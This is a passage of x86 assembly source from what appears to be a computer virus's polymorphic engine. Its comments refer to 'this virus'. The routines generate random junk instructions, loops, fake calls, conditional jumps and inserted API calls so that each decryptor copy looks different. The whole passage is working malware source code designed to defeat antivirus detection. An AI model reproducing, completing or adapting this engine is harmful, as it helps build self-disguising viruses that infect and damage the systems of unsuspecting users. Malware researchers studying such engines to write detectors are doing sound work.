jnz @@MW_WR_NotIndexed ; isn't set with its value, then
; we can't do this, so make a not
; indexed memory operation
call RandomFlags
jz @@MW_WR_NotThird
js @@MW_WR_NotThird
cmp al, 38h ; CMP?
jnz @@MW_WR_99 ; If not, jump
mov al, 88h ; If CMP, substitute it by MOV
@@MW_WR_99:
mov ah, 4h
shl dl, 3
or ah, dl
mov cl, byte ptr [ebp+@@Memo32bits]
add al, cl
mov cl, byte ptr [ebp+@@MemoryRead]
add al, cl
add al, cl
stosw
@@MW_WR_RepeatMult:
call Random
and eax, 3
jz @@MW_WR_RepeatMult
mov ecx, eax
mov eax, 1
shl eax, cl
@@MW_WR_Subtract:
sub ebx, [ebp+DecryptKey]
dec eax
jnz @@MW_WR_Subtract
mov al, [ebp+KeyRegister]
shl al, 3
or al, 5
ror cl, 2
or al, cl
stosb
jmp @@MW_WR_02

@@MW_WR_NotThird:
mov ah, 80h ; Mask with dword addition
or ah, byte ptr [ebp+KeyRegister] ; Put the indexation
; register in the opc.
sub ebx, [ebp+DecryptKey] ; Calculate the addition
shl dl, 3
or ah, dl ; Set the destiny register
cmp al, 38h ; CMP?
jnz @@MW_WR_01 ; If not, jump
mov al, 88h ; If CMP, substitute it by MOV
jmp @@MW_WR_01 ; Jump to continue
;; Here to make with no indexation (direct memory address)
@@MW_WR_NotIndexed:
mov ah, 05h ; Direct value inside brackets
@@MW_WR_Cont01:
shl dl, 3
or ah, dl ; Set the destiny register
cmp al, 38h ; CMP?
jnz @@MW_WR_01 ; If not, avoid
@@MW_WR_MOV:
or dl, dl ; EAX?
jz @@MW_WR_EAX ; Then, use its own opcode for MOV
mov al, 88h ; Substitute CMP by MOV
jmp @@MW_WR_01 ; Jump and continue
@@MW_WR_EAX:
mov al, 0A2h ; AL=Opcode of MOV [Value],AL. From this
; opcode we get the variants
call RandomFlags ; Select 8 or 32 bits
jz @@MW_WR_EAX3 ; Jump if 8 bits
@@MW_WR_EAX2:
inc eax ; Increase opcode to make MOV [Value],EAX
@@MW_WR_EAX3:
cmp byte ptr [ebp+@@MemoryRead], 1 ; Memory read?
jnz @@MW_WR_82 ; If not, jump and continue
sub al, 2 ; Make READ subtracting 2 to the opcode.
; Then we'll make MOV AL/EAX,[Value]
@@MW_WR_82:
stosb ; Store the opcode
jmp @@MW_WR_02 ; Jump to insert the memory address
; Not EAX in the register
@@MW_WR_01:
cmp byte ptr [ebp+@@MemoryRead], 1 ; Memory read?
jnz @@ContinueMW ; If not, continue
cmp byte ptr [ebp+@@Memo32bits], 1 ; 32 bits?
jz @@MW_WR_32b ; If 32 bits, jump
jmp @@MW_WR_8b ; Avoid opcode increment
; Here to memory write
@@ContinueMW: call RandomFlags ; Decide: 8 or 32 bits?
jz @@MW_WR_8b ; If 8, jump
@@MW_WR_32b:
inc eax ; Convert opcode to 32 bits operation from a
@@MW_WR_8b: ; a 8 bits opcode
cmp byte ptr [ebp+@@MemoryRead], 1 ; Read or write?
jnz @@MW_WR_83 ; If write, jump
add al, 2 ; Convert write opcode to read opcode
@@MW_WR_83:
stosw ; Store the opcode
@@MW_WR_02:
mov eax, ebx
stosd ; Store the memory address (or calculated addition)
jmp @@Return ; Jump to return

;; Here we make recursive garbage. We can do a CALL to a subroutine (where


;; we need more garbage) or a comparision and a conditional jump, where we
;; have to make garbage between the jump and the destination address, since
;; we can't assure that the conditional jump is going to be taken or not,
;; or a call to a KERNEL32 function.
@@RecursiveOnes:
cmp byte ptr [ebp+GarbageRecursivity], 4 ; Too many recur-
; sive instances of function Garbage?
jz @@Make1 ; If too many, make another type of garbage
cmp byte ptr [ebp+ImInRandomLoop], 1
jz @@Make1
call RandomFlags
jz @@Recurs_002
js @@Recurs_002 ; Select CALL / Conditional jump
jp @@Recurs_002
;; Let's do a little loop (no more than seven loops). We use a reserved
;; register because we know that they won't be changed (we PUSH it and
;; later POP it)
@@RandomLoop: call Random
and eax, 3
cmp al, 2
jz @@RandomLoop ; Don't use key register
mov al, [ebp+eax+Index1Register]
cmp al, 08h
jz @@Make1
cmp byte ptr [ebp+eax+TouchedRegisters], 1
jnz @@Make1
mov byte ptr [ebp+ImInRandomLoop], 1
mov byte ptr [ebp+@@SelectedRegister], al
mov dl, al
add al, 50h
stosb ; Store PUSH
@@OtherRandom:
call Random ; Get a value that doesn't make any
cmp eax, 8 ; problem when using either signed
jbe @@OtherRandom ; or unsigned comparisions (this
cmp eax, 7FFFFFF7h ; means, the initial value of the
jbe @@RandomOK ; counter and the final one - the
cmp eax, 80000008h ; compared - can be compared with
jbe @@OtherRandom ; sign or without sign), so we can
cmp eax, 0FFFFFFF7h ; use JG/JGE/JA/JAE when decreasing
jae @@OtherRandom ; and JL/JLE/JB/JBE when increasing,
; apart of J(N)Z/J(N)S for both
@@RandomOK: mov [ebp+@@InitLoopValue], eax ; Save that value
call DoMOV ; Make a mov with the selected reg.
call DoRandomGarbage ; Make garbage
mov esi, edi ; Save the looping address
@@RandomLoopAgain01:
call DoRandomGarbage ; Make garbage
cmp esi, edi ; Did it make garbage?
jz @@RandomLoopAgain01 ; If not, repeat
call RandomFlags ; Select increasing or decreasing
setz al ; Set it in AL
mov [ebp+@@Increasing], al ; Save this flag
jz @@IncreaseReg ; If ZF (AL=1), increase
@@DecreaseReg:
call Random
and al, 3 ; Get one of three types for decreasing:
jz @@DecreaseReg ; DEC, ADD -1 or SUB 1
cmp al, 2
jb @@DecreaseWithADD
jz @@DecreaseWithSUB
@@DecreaseWithDEC:
mov al, 48h ; Opcode of DEC
add al, [ebp+@@SelectedRegister] ;Bind the register to the
stosb ; opcode and store it
jmp @@RL_Next01
@@DecreaseWithADD:
mov ax, 0C083h ; ADD Reg,(Dword-Packed-To-Byte)
or ah, [ebp+@@SelectedRegister] ; Set the register
stosw ; Store opcode
mov al, 0FFh ; ADD Reg,-1
stosb ; Store it
jmp @@RL_Next01 ; Jump to complete
@@DecreaseWithSUB:
mov ax, 0E883h ; SUB Reg,(Dword-Packed-To-Byte)
or ah, [ebp+@@SelectedRegister] ; Set the register
stosw ; Store the opcode
mov al, 1 ; SUB Reg,1
stosb ; Store the value
@@RL_Next01:
call Random ; Get a number between 4 and 7
and eax, 3
add eax, 4
sub eax, [ebp+@@InitLoopValue] ;Subtract it to the initial
neg eax ; value and get the final value
jmp @@PutComparisionForLoop ; Jump to complete
; Here if we increase
@@IncreaseReg:
call Random ; Get randomly INC, ADD 1 or SUB -1
and al, 3
jz @@IncreaseReg
cmp al, 2
jb @@IncreaseWithADD
jz @@IncreaseWithSUB
@@IncreaseWithDEC:
mov al, 40h ; INC Reg
add al, [ebp+@@SelectedRegister] ; Set the register
stosb ; Store it
jmp @@RL_Next02 ; Jump to continue
@@IncreaseWithADD:
mov ax, 0C083h ; ADD Reg,(Dword-Packed-To-Byte)
or ah, [ebp+@@SelectedRegister] ; Set the register
stosw ; Store the opcode
mov al, 01h ; ADD Reg,1
stosb ; Store the value
jmp @@RL_Next02 ; Jump to continue
@@IncreaseWithSUB:
mov ax, 0E883h ; SUB Reg,(Dword-Packed-To-Byte)
or ah, [ebp+@@SelectedRegister] ; Bind the register
stosw ; Store the opcode
mov al, 0FFh ; SUB Reg,-1
stosb ; Store the value
@@RL_Next02:
call Random ; Get a value between 4 and 7
and eax, 3
add eax, 4
add eax, [ebp+@@InitLoopValue] ; Add it to the initial
; value to get the final value
@@PutComparisionForLoop:
push eax ; Save the final value of the counter
cmp byte ptr [ebp+@@SelectedRegister], 0 ; Is EAX the re-
; gister that we are using?
jz @@CMP_EAX ; If it is, use the EAX exclusive opcode
; to do CMP
mov ax, 0F881h ; Opcode of CMP
or ah, [ebp+@@SelectedRegister] ; Set the register
stosw ; Store the opcode
jmp @@RL_Next03 ; Jump and continue
@@CMP_EAX: mov al, 3Dh ; Use the opcode of CMP EAX,Value
stosb ; Store it
@@RL_Next03: pop eax ; Get the value to CMP
stosd ; Store the value
movzx ebx, byte ptr [ebp+@@Increasing] ; EBX=0 or 1
shl ebx, 3 ; EBX=0 or 8
lea ebx, [ebp+ebx+@@JumpsForLoopD] ; EBX=Address of jumps
; table
@@RL_Next04: call Random ; Get a random number between 0 and 5
and eax, 7
cmp eax, 6
jae @@RL_Next04
mov al, [ebx+eax] ; Get a jump opcode
sub esi, edi
sub esi, 2 ; Get the loop distance for the jump back
cmp esi, -80h ; Check if we use the 8 bits opcode or
jae @@RL_Next05 ; the 32 one. Jump if we use the 8 bits
; conditional jump.
sub esi, 4 ; Add 4 to the displacement back

mov ah, al
add ah, 10h ; Convert the 8 bits opcode to the 32
mov al, 0Fh ; bits one
stosw ; Store it
xchg esi, eax
stosd ; Store the displacement
jmp @@RL_Next06 ; Jump and continue
@@RL_Next05: stosb ; Store the 8 bits opcode
xchg esi, eax
stosb ; Store the displacement
@@RL_Next06: call DoRandomGarbage
mov al, [ebp+@@SelectedRegister]
add al, 58h ; Store POP with the used register
stosb
mov byte ptr [ebp+ImInRandomLoop], 0
jmp @@Return

@@JumpsForLoopD db 79h, 75h, 77h, 73h, 7Fh, 7Dh, 0, 0


; JNS, JNZ, JA, JAE, JG, JGE
@@JumpsForLoopI db 78h, 75h, 72h, 76h, 7Ch, 7Eh, 0, 0
; JS, JNZ, JB, JBE, JL, JLE
@@SelectedRegister db 0
@@InitLoopValue dd 0
@@Increasing db 0

@@Recurs_002: call RandomFlags ; Select if we do a CALL or a jump


jz @@DoConditionalJump ; Make a conditional jump if ZF
js @@DoCALL
@@APICall: cmp byte ptr [ebp+ImInRandomLoop], 1
jz @@Make1
call RandomFlags
jz @@Make1
call InsertAPICall
jmp @@Return
@@DoCALL: call RandomFlags
jz @@NormalCALL
movzx eax, byte ptr [ebp+GarbageRecursivity]
dec eax
mov ecx, eax
shl ecx, 5
add ecx, eax
shl ecx, 2
cmp dword ptr [ebp+ecx+ArrayOfCalls1Ndx], 4
jb @@NormalCALL
ja @@SelectRandomFixedCALL
mov eax, [ebp+ecx+ArrayOfCalls1]
jmp @@ContinueFixedCALL_002
@@SelectRandomFixedCALL:
lea esi, [ebp+ecx+ArrayOfCalls1]
@@LoopFixedCALL_001:
call Random
and eax, 3Ch
cmp eax, [ebp+ecx+ArrayOfCalls1Ndx]
jae @@LoopFixedCALL_001
add eax, ecx
mov eax, [ebp+eax+ArrayOfCalls1]
@@ContinueFixedCALL_002:
sub eax, [ebp+DecryptorBeginAddress]
add eax, [ebp+DecryptorVirtualBeginAddress]
call MakeCALLTo
jmp @@Return

@@NormalCALL:
cmp dword ptr [ebp+CallsLevel1Ndx], 20h*4
jz @@Make1 ; If we can't do more level 1 calls, do other
; type of garbage
cmp dword ptr [ebp+CallsLevel2Ndx], 20h*4
jz @@Make1 ; If we can't do more level 2 calls, do other
; type of garbage
cmp dword ptr [ebp+CallsLevel3Ndx], 20h*4
jz @@Make1 ; If we can't do more level 3 calls, do other
; type of garbage
cmp byte ptr [ebp+KeyIsInit], 1 ; Is the key register set?
jnz @@Make1 ; If it isn't, then avoid CALLs.
; Explanation: we make first the CALL and quite later
; we code the subroutine itself. Then, we maybe put
; inside the subroutines any indexed memory access,
; for which we need the Key register with its correct
; value. If it isn't set yet, then when call to the
; subroutine we'll use the Key register as index but
; with an unknown value.
call RandomFlags ; Stack entries?
jz @@NoStack
js @@NoStack
; Put stack entries with a 25% of probability
mov byte ptr [ebp+@@WithStack], 1 ; Mark it
call Random
and eax, 3
inc eax ; Get a number between 1 and 4
mov byte ptr [ebp+@@StackEntries], al ; Save this number
mov ecx, eax ; ECX=that number
@@LoopInsertEntries:
mov al, 68h ; Opcode of PUSH Value
stosb ; Store it
@@AnotherValueTypeForStack:
call Random ; Get a random type of value to push
and al, 3
jz @@PushRegister ; AL=0? Then push a register
cmp al, 2
jb @@PushAddress ; AL=1? Then push a memory address
jz @@PushPureRandom ; AL=2? Then push a random dword
@@PushPseudoFlags: ; AL=3? Then push a random < 10000h
call Random ; (like flags)
and eax, 0FFFFh
jmp @@NextStackEntry ; Store value
@@PushAddress:
call SelectAnAddressLow ; Get an address
mov eax, ebx ; Put it into EAX and jump to store it
jmp @@NextStackEntry ; Jump to store it
@@PushRegister:
call SelectAnyRegisterWithInit
dec edi
add al, 50h
stosb
jmp @@ContinueStackEntries
@@PushPureRandom:
call Random ; EAX=Random value
@@NextStackEntry:
cmp eax, 7Fh
jbe @@TwoBytesEntry
cmp eax, 0FFFFFF80h ; Is the value between -80h and 7Fh?
jae @@TwoBytesEntry ; If it is, change the opcode
stosd ; Store the dword
jmp @@ContinueStackEntries ; Jump and continue

@@TwoBytesEntry:
mov byte ptr [edi-1], 6Ah ; Change the opcode by PUSH
stosb ; Packed_Dword_Value and store the value to push
@@ContinueStackEntries:
loop @@LoopInsertEntries ; Loop and make it ECX times
jmp @@ContinueCALL ; Continue the CALL coding
;; Here if we don't use stack
@@NoStack: mov byte ptr [ebp+@@WithStack], 0 ; Set this variable
@@ContinueCALL:
mov al, 0E8h
stosb ; Insert a CALL opcode
movzx ebx, byte ptr [ebp+GarbageRecursivity] ; Get the level
dec ebx ; of the stack
mov ecx, ebx
shl ebx, 5 ; *20h
add ebx, ecx ; *21h
shl ebx, 2 ; *84h, so we get the level multiplied by
; 84h, to use a generic way of setting the
; CALL data into the arrays depending on the
; level
mov ecx, [ebp+ebx+CallsLevel1Ndx] ;Get the index of inser-
;tion
add ecx, ebx ; Add the level*84h
mov dword ptr [ebp+ecx+CallsLevel1], edi ; Set the current
; address into the array for later completion
add dword ptr [ebp+ebx+CallsLevel1Ndx], 4 ; Increase the
; index of insertion
add edi, 4 ; Leave space for the CALL displacement and
; complete it later
cmp byte ptr [ebp+@@WithStack], 1 ; Have we used stack?
jnz @@Return ; If not, finish
mov ax, 0C483h ; AX=Opcode of the instruction ADD ESP,xxx
stosw ; Store the opcode
mov al, byte ptr [ebp+@@StackEntries] ; Get the number to
shl al, 2 ; add to ESP to release the stack
stosb ; Store it
jmp @@Return ; Return

@@WithStack db 0 ; Variables used before


@@StackEntries db 0

;; Here we make a random conditional jump. The comparision is absolutely


;; random, so it's the condition to jump. Between the jump and the destiny
;; we make functional garbage, since we don't know if the jump is going to
;; be taken or not.
@@DoConditionalJump:
call SelectARegisterWithInit ; Get a initialized register
mov dl, al ; Save it in DL
call RandomFlags ; CMP Reg,Value or CMP Reg,Reg?
jz @@CMP_Reg ; Then make a CMP Reg,Reg
@@CMP_Value:
or dl, dl
jnz @@CMP_Value_NoEax
mov al, 3Dh
stosb
jmp @@CMP_Value_Cont00
@@CMP_Value_NoEax:
mov ax, 0F881h ; Opcode of CMP Reg,Value
or ah, dl ; Set the register
stosw ; Store it
@@CMP_Value_Cont00:
call Random
stosd ; Store a random value to compare
jmp @@CJ_Again ; Jump to continue
@@CMP_Reg:
call SelectAnyRegisterWithInit ; Get any initialized regis-
; ter (all can be selected but ESP)
cmp al, dl ; Is it the same as the selected before?
jz @@CMP_Reg ; If it is the same, then repeat
mov dh, al ; Save it in DH
mov ax, 0C03Bh ; 3B C0, opcode of CMP Reg,Reg
or ah, dl ; Set the selected registers
shl dh, 3
or ah, dh
stosw ; Store the opcode
; Let's do a random conditional jump
@@CJ_Again:
call Random
and al, 0Fh
add al, 70h ; Get a conditional jump random opcode
stosb ; Store it
inc edi ; Leave space for the displacement
@@CJ_Again3:
push dword ptr [ebp+CallsLevel1Ndx] ; Save the indexes of
push dword ptr [ebp+CallsLevel2Ndx] ; the calls. If we have
push dword ptr [ebp+CallsLevel3Ndx] ; to repeat the garbage
; because it's too long, we have to restore
; this to not set any inexistent CALL dis-
; placement over other code that's not a
; CALL
@@CJ_Again2:
mov esi, edi ; Save the actual storage index
call DoRandomGarbage ; Make garbage
call DoRandomGarbage ; Make garbage
sub esi, edi ; Get the (-)displacement of the jump
jz @@CJ_Again2 ; If it's zero, loop to make garbage
neg esi ; Calculate true displacement
cmp esi, 7Fh ; Does it overpass the limit for displac.?
jbe @@CJ_OK ; If not, jump and continue
pop dword ptr [ebp+CallsLevel3Ndx] ; Restore this, elimi-
pop dword ptr [ebp+CallsLevel2Ndx] ; nating any created
pop dword ptr [ebp+CallsLevel1Ndx] ; call before
sub edi, esi ; Restore EDI...
jmp @@CJ_Again3 ; ...and repeat the garbage generation
; Here if the size of the garbage is correct
@@CJ_OK: pop eax ; Release the data in stack
pop eax
pop eax
mov eax, esi ; Put the displacement in AL
neg esi ; Calculate the distance until the opcode
mov byte ptr [edi+esi-1], al ; Set the displacement in
; the opcode
; jmp @@Return

@@Return:
@@DontMake: mov [esp+S_EDI], edi ; Conserve EDI when POPAD
dec byte ptr [ebp+GarbageRecursivity] ; Decrease recursi-
; vity level
popad
ret ; Return completely or just to another running instan-
; ce of Garbage
Garbage endp

ImInRandomLoop db 0 ; Variable to avoid nested garbage loops

;; EAX=Address to make a CALL to


MakeCALLTo proc
pushad
mov ebx, eax
call RandomFlags
jz @@CALLToMem
@@CALLToReg: call Random
and eax, 3
cmp eax, 2
jz @@CALLToReg ; No key register!
mov dl, [ebp+eax+Index1Register]
cmp dl, 8
jnz @@CALLToReg2
mov dl, [ebp+Index1Register]
@@CALLToReg2: call DoPUSHReg
call DoRandomGarbage
mov eax, ebx
call DoMOV
call DoRandomGarbage
mov ax, 0D0FFh
or ah, dl
stosw
call DoRandomGarbage
call DoPOPReg
jmp @@Return

@@CALLToMem: call GetAndReserveVar


or ebx, ebx
jz @@CALLToReg

call RandomFlags
jz @@MoveToRegForCALL
@@DirectCALLToMem:
call DoMOVMemValue
call DoRandomGarbage
call RandomFlags
jz @@DC_00
cmp byte ptr [ebp+KeyIsInit], 1
jnz @@DC_00
push ebx
mov ax, 10FFh
sub ebx, [ebp+DecryptKey]
cmp ebx, 7Fh
jbe @@DC_01
cmp ebx, 0FFFFFF80h
jae @@DC_01
or ah, 80h
or ah, [ebp+KeyRegister]
stosw
mov eax, ebx
stosd
jmp @@DC_02
@@DC_01: or ah, 40h
or ah, [ebp+KeyRegister]
stosw
mov al, bl
stosb
@@DC_02: pop ebx
@@DC_03: call ReleaseVar
jmp @@Return
@@DC_00: mov ax, 15FFh
stosw
mov eax, ebx
stosd
jmp @@DC_03

@@MoveToRegForCALL:
mov ecx, eax
call RandomFlags
jz @@DirectValueForCALL
call Random
sub ebx, eax
mov byte ptr [ebp+@@PureValue], 0
mov dword ptr [ebp+@@ValueToAdd], eax
jmp @@DVFC_001
@@DirectValueForCALL:
mov byte ptr [ebp+@@PureValue], 1
mov dword ptr [ebp+@@ValueToAdd], 0
@@DVFC_001: call Random
and eax, 3
cmp eax, 2
jz @@DVFC_001
mov dl, [ebp+eax+Index1Register]
cmp dl, 8
jnz @@DVFC_001_
mov dl, [ebp+Index1Register]
@@DVFC_001_: call RandomFlags
jz @@FirstMovReg
@@FirstMovMem:
call RandomFlags
jz @@FMM_PushFirst
mov eax, ecx
push dword ptr [ebp+@@PureValue]
push dword ptr [ebp+@@ValueToAdd]
push ebx
add ebx, [ebp+@@ValueToAdd]
call DoMOVMemValue
pop ebx
call DoRandomGarbage
call DoPUSHReg
pop dword ptr [ebp+@@ValueToAdd]
pop dword ptr [ebp+@@PureValue]
@@FMM_001: push dword ptr [ebp+@@PureValue]
push dword ptr [ebp+@@ValueToAdd]
call DoRandomGarbage
mov eax, ebx
call DoMOV
pop dword ptr [ebp+@@ValueToAdd]
pop dword ptr [ebp+@@PureValue]
jmp @@InsertCALL
@@FMM_PushFirst:
push dword ptr [ebp+@@PureValue]
push dword ptr [ebp+@@ValueToAdd]
call DoPUSHReg
call DoRandomGarbage
pop dword ptr [ebp+@@ValueToAdd]
pop dword ptr [ebp+@@PureValue]
mov eax, ecx
push ebx
add ebx, [ebp+@@ValueToAdd]
push dword ptr [ebp+@@PureValue]
push dword ptr [ebp+@@ValueToAdd]
call DoMOVMemValue
pop dword ptr [ebp+@@ValueToAdd]
pop dword ptr [ebp+@@PureValue]
pop ebx
jmp @@FMM_001
@@FirstMovReg:
push dword ptr [ebp+@@PureValue]
push dword ptr [ebp+@@ValueToAdd]
call DoPUSHReg
call DoRandomGarbage
mov eax, ebx
call DoMOV
call DoRandomGarbage
mov eax, ecx
pop dword ptr [ebp+@@ValueToAdd]
pop dword ptr [ebp+@@PureValue]
push ebx
add ebx, [ebp+@@ValueToAdd]
push dword ptr [ebp+@@PureValue]
push dword ptr [ebp+@@ValueToAdd]
call DoMOVMemValue
pop dword ptr [ebp+@@ValueToAdd]
pop dword ptr [ebp+@@PureValue]
pop ebx
@@InsertCALL:
push dword ptr [ebp+@@PureValue]
push dword ptr [ebp+@@ValueToAdd]
call DoRandomGarbage
pop dword ptr [ebp+@@ValueToAdd]
pop dword ptr [ebp+@@PureValue]
mov ax, 10FFh
or ah, dl
cmp byte ptr [ebp+@@PureValue], 1
jz @@WithoutAddition
@@WithAddition:
cmp dword ptr [ebp+@@ValueToAdd], 7Fh
jbe @@WA_byte
cmp dword ptr [ebp+@@ValueToAdd], 0FFFFFF80h
jae @@WA_byte
or ah, 80h
stosw
mov eax, [ebp+@@ValueToAdd]
stosd
jmp @@OK2
@@WA_byte: or ah, 40h
stosw
mov eax, [ebp+@@ValueToAdd]
stosb
jmp @@OK2
@@WithoutAddition:
cmp dl, 5
jz @@WithAddition
@@OK: stosw
@@OK2: call DoRandomGarbage
call DoPOPReg
call ReleaseVar
; jmp @@Return

@@Return: mov [esp+S_EDI], edi


popad
ret
@@PureValue db 0
@@ValueToAdd dd 0

MakeCALLTo endp

ReserveReg proc
pushad
@@OtherRandom:
call Random
and eax, 3
cmp eax, 2
jz @@OtherRandom
mov dl, [ebp+eax+Index1Register]
cmp dl, 8
jnz @@AnyReg
mov dl, [ebp+Index1Register]
@@AnyReg: call DoPUSHReg
@@Return: mov [esp+S_EDX], edx
mov [esp+S_EDI], edi
popad
ret
ReserveReg endp

ReleaseReg proc
pushad
call DoPOPReg
@@Return: mov [esp+S_EDI], edi
popad
ret
ReleaseReg endp

;; This function selects a readable/writable memory address that can be used


;; for memory operations without causing any exception. It will get any
;; address from five frames that are prepared from the beginning. In this
;; virus there are five frames, but in another maybe there is one or two, so
;; we simply would put the same frames in the different variables.
;; I use here the .bss section (as a normal application does), and since the
;; section of the virus is theorically a data section, then some data frames
;; that the virus sets with its values while executing, not needing what was
;; there (that idea was made in MeDriPolEn, but now I pulished it).
SelectAnAddress proc
push eax
push ecx
@@Again: call Random
and eax, 7
cmp eax, 5 ; Get a data frame from 0 to 4
jae @@Again
mov ebx, [ebp+4*eax+BssSection] ; Get the address of that
; frame
; I think a normal .bss section has 256 bytes at least! (and the others I'm
; sure they have them)
@@Again2: call Random
cmp byte ptr [ebp+SelectLowAddress], 1
jz @@LowAddress
and eax, 03Ch
cmp al, 30h
ja @@Again2
or al, 80h
jmp @@Done
@@LowAddress:
and eax, 7Ch
@@Done: add ebx, eax ; Now we have a random address
cmp dword ptr [ebp+ReservedBssAddress], ebx ; See if it's
; equal to the reserved one
jz @@Again ; If it's equal (what a casuality!) then
; select another
mov ecx, 20h
@@Loop_01: cmp ebx, [ebp+4*ecx+ReservedMemVars_Addr-4]
jz @@Again
loop @@Loop_01

@@Return: pop ecx


pop eax
ret ; Return
SelectAnAddress endp

SelectAnAddressLow proc
mov byte ptr [ebp+SelectLowAddress], 1
jmp SelectAnAddress
SelectAnAddressLow endp

SelectAnAddressHigh proc
mov byte ptr [ebp+SelectLowAddress], 0
jmp SelectAnAddress
SelectAnAddressHigh endp

SelectLowAddress db 0

;; This function gets a random register (random number between 0 and 7) and
;; keep on getting it until that number doesn't coincide with any reserved
;; register identificator, nor with ESP, nor with the selected in the last
;; call to this function or similar.
SelectARegister proc
call Random
and al, 7 ; Random between 0 and 7
cmp al, 4 ; ESP?
jz SelectARegister ; Then, repeat
cmp al, byte ptr [ebp+Index1Register] ; Equal to Index1?
jz SelectARegister ; Then, repeat
cmp al, byte ptr [ebp+Index2Register] ; Equal to Index2?
jz SelectARegister ; Then, repeat
cmp al, byte ptr [ebp+KeyRegister] ; Equal to Key?
jz SelectARegister ; Then, repeat
cmp al, byte ptr [ebp+BufferRegister] ; Equal to Buffer?
jz SelectARegister ; Then, repeat
cmp al, byte ptr [ebp+RegisterSelectedB4] ; If it's equal
jz SelectARegister ; to the last selected one, repeat
mov byte ptr [ebp+RegisterSelectedB4], al ; Save as the
ret ; last selected, and return
SelectARegister endp

;; This function does the same as the function above but with a 8 bits regis-
;; ter, so it can only select E?X registers. Since there are four reserved
;; registers and only four composed registers (E?X), maybe this registers are
;; all reserved, so we check it before, returning the value 8 if no 8 bits re-
;; gister can be selected. Also we initialize the register if the selected one
;; hasn't been "touched" before, since we only use 8 bits registers to make
;; garbage.
SelectAReg8 proc
cmp byte ptr [ebp+Index1Register], 3 ; E?X?
ja @@NoProblemo ; If, not, continue
cmp byte ptr [ebp+Index2Register], 3 ; E?X?
ja @@NoProblemo ; If, not, continue
cmp byte ptr [ebp+KeyRegister], 3 ; E?X?
ja @@NoProblemo ; If, not, continue
cmp byte ptr [ebp+BufferRegister], 3 ; E?X?
ja @@NoProblemo ; If, not, continue
mov al, 8 ; Since all reserved are E?X, we can't conti-
ret ; nue
@@NoProblemo:
call Random
and al, 3 ; Get a E?X register
cmp al, byte ptr [ebp+Index1Register] ; Is it reserved?
jz @@NoProblemo ; If not, continue
cmp al, byte ptr [ebp+Index2Register] ; Is it reserved?
jz @@NoProblemo ; If not, continue
cmp al, byte ptr [ebp+KeyRegister] ; Is it reserved?
jz @@NoProblemo ; If not, continue
cmp al, byte ptr [ebp+BufferRegister] ; Is it reserved?
jz @@NoProblemo ; If not, continue
push eax
and eax, 0FFh ; Look if the register is "touched"
cmp byte ptr [ebp+eax+TouchedRegisters], 1
jz @@OK ; If it is, jump and continue
push edx ; Save registers
mov dl, al ; DL=Selected 32 bits register
call Random ; Set a random value
call DoMOV ; Make a MOV (or similar) with the reg and the
pop edx ; value, and restore the registers from stack
@@OK: pop eax
and ah, 4
or al, ah ; Select random ?L or ?H
ret ; Return
SelectAReg8 endp

;; API calling thingies


InsertAPICall proc
pushad
cmp byte ptr [ebp+ImInAPI], 1
jz @@End2
cmp byte ptr [ebp+AnyAPIFound], 1
jnz @@End2
mov byte ptr [ebp+ImInAPI], 1
mov byte ptr [ebp+APICall_StackOrder], 0

lea ebx, [ebp+offset APICall_SaveEAX]


lea ecx, [ebp+offset APICall_SaveECX]
lea edx, [ebp+offset APICall_SaveEDX]
lea esi, [ebp+offset DoRandomGarbage]
call RandomCalling

cmp byte ptr [ebp+FirstAPICall], 2


jz @@Normal
@@OtherRandom:
inc byte ptr [ebp+FirstAPICall]
call Random
and eax, 30h
jmp @@Continue1
@@Normal:
call Random
and eax, 1Fh
mov ebx, eax
call Random
and eax, 0Fh
sub ebx, eax
jbe @@Normal
mov eax, 1Fh
sub eax, ebx
shl eax, 4 ; *10h
@@Continue1:
mov esi, eax
@@LoopSearch:
cmp dword ptr [ebp+esi+APIInfo+4], 0
jnz @@APIFound
add esi, 10h
cmp esi, 20h*10h
jb @@LoopSearch
xor esi, esi
jmp @@LoopSearch
@@APIFound: mov al, byte ptr [ebp+esi+APIInfo+0Ah]
call PushParameter
mov al, byte ptr [ebp+esi+APIInfo+09h]
call PushParameter
mov al, byte ptr [ebp+esi+APIInfo+08h]
call PushParameter

call RandomFlags
jz @@WithAddition

@@WithoutAddition:
mov ax, 15FFh ;; CALL DWORD PTR [xxx]
stosw
mov eax, [ebp+esi+APIInfo+04h]
stosd
jmp @@Continue

@@WithAddition:
cmp byte ptr [ebp+KeyIsInit], 1
jnz @@WithoutAddition
mov ax, 10FFh
or ah, [ebp+KeyRegister]
mov ecx, [ebp+esi+APIInfo+04]
sub ecx, [ebp+DecryptKey]
cmp ecx, 7Fh
jbe @@AddByte
cmp ecx, 0FFFFFF80h
jae @@AddByte
or ah, 80h
stosw
mov eax, ecx
stosd
jmp @@Continue
@@AddByte:
or ah, 40h
stosw
mov eax, ecx
stosb
@@Continue:
mov al, byte ptr [ebp+esi+APIInfo+0Bh]
or al, al
jz @@Check0
cmp al, 2
jb @@CheckMinus1
ja @@NoCheck
@@CheckBoolean:
call RandomFlags
jz @@Check0
mov al, 3Dh
stosb
mov eax, 1
stosd
jmp @@MakeCondJump
@@Check0: call Random
and al, 3
jz @@Check0
cmp al, 2
jb @@OR
jz @@AND
@@TEST: mov ax, 0C085h
stosw
jmp @@MakeCondJump
@@OR: mov ax, 0C009h
stosw
jmp @@MakeCondJump
@@AND: mov ax, 0C021h
stosw
jmp @@MakeCondJump

@@CheckMinus1:
mov al, 3Dh
stosb
mov eax, -1
stosd
@@MakeCondJump:
@@CJ_Again:
call RandomFlags
jz @@MakeJZ
mov al, 75h ; JNZ
jmp @@MakeJump
@@MakeJZ: mov al, 74h ; JZ
@@MakeJump: stosb
inc edi ; Leave space for the displacement
@@CJ_Again3:
push dword ptr [ebp+CallsLevel1Ndx] ; Save the indexes of
push dword ptr [ebp+CallsLevel2Ndx] ; the calls. If we have
push dword ptr [ebp+CallsLevel3Ndx] ; to repeat the garbage
; because it's too long, we have to restore
; this to not set any inexistent CALL dis-
; placement over other code that's not a
; CALL
@@CJ_Again2:
mov esi, edi ; Save the actual storage index
call DoRandomGarbage ; Make garbage
sub esi, edi ; Get the (-)displacement of the jump
jz @@CJ_Again2 ; If it's zero, loop to make garbage
neg esi ; Calculate true displacement
cmp esi, 7Fh ; Does it overpass the limit for displac.?
jbe @@CJ_OK ; If not, jump and continue
pop dword ptr [ebp+CallsLevel3Ndx] ; Restore this, elimi-
pop dword ptr [ebp+CallsLevel2Ndx] ; nating any created
pop dword ptr [ebp+CallsLevel1Ndx] ; call before
sub edi, esi ; Restore EDI...
jmp @@CJ_Again3 ; ...and repeat the garbage generation
; Here if the size of the garbage is correct
